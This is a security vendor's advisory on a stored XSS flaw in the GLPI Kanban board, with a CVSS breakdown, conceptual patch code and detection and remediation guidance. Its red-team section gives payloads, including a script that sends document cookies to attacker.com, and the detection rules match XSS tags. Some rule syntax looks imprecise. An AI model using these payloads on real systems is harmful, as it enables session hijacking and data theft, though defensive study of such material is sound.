CVE-2025-27514

Executive Summary

CVE-2025-27514 is a stored Cross-Site Scripting (XSS) vulnerability in GLPI, a popular open-source IT asset and service management platform. A technician with standard user privileges can inject a malicious payload into the project's Kanban board. When other users (including administrators) view the affected Kanban, the payload executes in their browser, potentially leading to session hijacking, data exfiltration, or unauthorized actions. The vulnerability affects GLPI versions 9.5.0 through 10.0.18 and is fixed in version 10.0.19. The CVSS score is 4.5 (Medium), and no public exploit code or proof-of-concept is currently available.

Supply Chain & Package Security

GLPI is a PHP-based application distributed via GitHub and its official website. The vulnerability is introduced through the application's own codebase, not through a third-party package. However, organizations using GLPI should verify the integrity of their installation and ensure they are not running modified or backdoored versions. The patch is available in the official GLPI repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a valid technician account.
• User Interaction (UI): Required (R) – The victim must view the malicious Kanban.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for a valid account and user interaction reduces the risk, but the potential for privilege escalation and lateral movement makes this a significant concern for GLPI deployments.

Deep Dive & Mechanics

The vulnerability resides in the Kanban board feature of GLPI. The Kanban board allows users to create and manage projects with cards that can contain various fields, including descriptions, comments, and custom data. The application fails to properly sanitize user-supplied input before rendering it on the Kanban board.

Root Cause: The input is not properly encoded or sanitized when displayed in the Kanban view. Specifically, the application does not escape HTML entities or JavaScript event handlers in fields that are rendered as part of the Kanban card content.

Attack Flow:

1. An authenticated technician creates a new project or modifies an existing one.
2. The technician adds a malicious payload (e.g., <script>alert('XSS')</script>) to a field that is displayed on the Kanban board (e.g., the card title or description).
3. The payload is stored in the database without proper sanitization.
4. When another user (including an administrator) views the Kanban board, the payload is rendered in their browser, executing the attacker's JavaScript.

Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface the Kanban board, or redirect users to malicious sites. Since the attacker is already authenticated, they may also attempt to escalate privileges or access sensitive data.

Vulnerable vs. Patched Code

The vulnerable code likely uses a function like echo $data['field'] or htmlspecialchars($data['field'], ENT_QUOTES, 'UTF-8') incorrectly. The patched version ensures that all user-supplied data is properly escaped using htmlspecialchars() or a similar function before being rendered.

Vulnerable Code (Conceptual):

// In a view file (e.g., kanban.php)
echo $card['description'];

Patched Code (Conceptual):

// In a view file (e.g., kanban.php)
echo htmlspecialchars($card['description'], ENT_QUOTES, 'UTF-8');

The exact fix is in the GLPI repository commit that addresses this issue. The patch likely involves adding output escaping to all fields that are displayed on the Kanban board.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A GLPI instance running version 9.5.0 to 10.0.18.
• A valid technician account.

Steps:

1. Log in to GLPI as a technician.
2. Navigate to a project with a Kanban board.
3. Create a new card or edit an existing one.
4. In a field that is displayed on the Kanban (e.g., the title or description), inject a payload such as:

   <img src=x onerror=alert('XSS')>
   

   or

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the card.
6. Wait for an administrator or another user to view the Kanban board. The payload will execute in their browser.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual JavaScript execution in the context of GLPI.
• Look for outbound connections to unknown domains from GLPI users.
• Review server logs for suspicious POST requests to Kanban-related endpoints.

Prevention:

• Apply the patch immediately (upgrade to 10.0.19).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Enforce strict input validation and output encoding.

Hunting:

• Search the database for HTML tags or JavaScript in Kanban fields.
• Check for unexpected changes to Kanban cards by non-admin users.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from GLPI users.
• Host: Presence of <script>, <img onerror>, or <svg onload> tags in the glpi_projects or glpi_projecttasks database tables.
• Logs: Suspicious entries in GLPI logs showing unusual JavaScript execution or failed CSP violations.
• File: Modified GLPI core files (if the attacker attempted to persist the payload).

Detection Engineering

YARA Rule

rule CVE_2025_27514_GLPI_XSS {
    meta:
        description = "Detects stored XSS payloads in GLPI Kanban fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27514"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=[^>]*>/is
        $xss3 = /<svg[^>]*onload\s*=[^>]*>/is
        $xss4 = /onmouseover\s*=[^>]*>/is
    condition:
        any of them
}

Sigma Rule

title: GLPI Stored XSS via Kanban Board
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects potential stored XSS payloads in GLPI Kanban fields
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: glpi
detection:
    selection:
        event: "kanban.card.create" or "kanban.card.update"
        payload|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "onmouseover="
    condition: selection
falsepositives:
    - Legitimate use of HTML in Kanban fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27514 GLPI Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/kanban/"; http_uri; pcre:"/<script|<img[^>]*onerror|<svg[^>]*onload/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade GLPI to version 10.0.19 or later.
• If upgrade is not possible, disable the Kanban board feature temporarily.

Short-term:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Conduct a security audit of all user-supplied input fields.

Long-term:

• Adopt a secure coding standard that includes output encoding for all user data.
• Implement regular security training for developers.
• Establish a vulnerability disclosure program.

Valters IT – Securing your digital assets with precision and expertise.